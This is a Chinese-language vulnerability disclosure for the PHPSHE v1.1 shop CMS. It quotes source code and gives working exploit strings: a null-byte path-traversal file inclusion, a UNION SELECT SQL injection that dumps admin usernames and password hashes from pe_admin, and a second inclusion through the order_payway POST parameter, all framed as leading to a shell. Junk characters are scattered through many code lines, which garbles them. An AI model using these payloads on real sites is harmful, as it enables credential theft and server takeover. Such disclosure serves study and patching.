phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
9 j! d# E5 u8 C7 j! K4 X4 I/* Phpshe v1.1 Vulnerability
0 L  f7 m" G- {) M# T  A" G0 h/* ========================
$ k" A& D7 ^- B& y: ]( N, G9 O+ ~/* By: : Kn1f3
/* E-Mail : 681796@qq.com
/*******************************************************/
3 ^7 e- \, S0 [1 t/ p0×00 整体大概参数传输

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//common.php
, }) w1 [& ]) y7 b4 ?if (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
/ K, \0 c9 g. f  s5 B0 y!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
else {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
: J6 C2 k+ H: H& i& T!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
session_start();
/ e( e$ e/ q. m5 w: N!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
; R& c4 [" q# _; `# f# A9 W: }. _!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
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( z9 g0 ^6 k2 h) u9 P: A7 F0×01 包含漏洞
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//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
9 u8 C% r. s: u2 D, F+ ainclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
- F1 x# k1 K/ P" k& |?>
//common 文件 第15行开始
url路由配置
, G. y! z) _5 Q4 S$module = $mod = $act = 'index';
5 ]9 u; u; t* o! `; u/ F: k: {$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
1 J$ Z( d) ]' u; J7 `5 G$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
) o' v# w9 v. \& h# V2 h$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
" R, l, o. N- J/ _//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
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0×02 搜索注入

<code id="code2">

//product.php文件
case 'list':
$category_id = intval($id);
, l- O1 `2 x% a$info = $db->pe_select('category', array('category_id'=>$category_id));
7 w- V. J$ L/ I( q0 r: b//搜索
' P0 ~4 n$ x5 w* P& H- s$ Y& H$sqlwhere = " and `product_state` = 1";
. B+ x$ Q) c1 u0 f1 A# bpe_lead('hook/category.hook.php');
if ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
' L8 d* H( [/ W# Q) I" {  \7 Y" Q. h}
. P9 Q+ ]7 ], m3 K2 {$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
0 `  ~* p1 P  d/ {$ X: vif ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
6 i9 ~! @, q; L/ Eelse {
$sqlwhere .= " order by `product_id` desc";
7 t3 @% {+ T1 I/ M8 d5 n}
$ y/ M+ S9 H5 i: c+ p2 Q$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
$product_hotlist = product_hotlist();
% O8 n- y  j# e//当前路径
$nowpath = category_path($category_id);
; e% g# {. P; X$ ~# ]! K& k5 o$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
. U1 f( p' j) _& D- N; N//跟进selectall函数库
' S9 u- v6 `# k9 \, \: y. _public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
- [+ W* P2 w- Y& P//处理条件语句
$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
: C" @2 R+ ]0 E& s}
//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
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</code>

7 p: a1 C# \& o0×03 包含漏洞2
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<code id="code3">

//order.php

case 'pay':

/ O9 w' A: Q8 F8 F+ [4 v$order_id = pe_dbhold($_g_id);

: w3 {; z- ]$ b! n1 Y0 O$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

" v/ V- A! \) o. I" n$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

}

% R! V) }, Q  r: V9 x$ O9 H& }9 m$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

, i8 u" O! h, jif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";
: }" w( Q+ Y6 a$ l- }

}

echo '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

; P! D, P! {. r}//当一切准备好的时候就可以进行"鸡肋包含了"

  f) E! M3 @) [) K  Eelse {

pe_error('支付错误...');

}

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% a; z2 R) m5 |+ Q7 h$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

: k4 `5 T. s4 Z: J8 ?+ Abreak;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>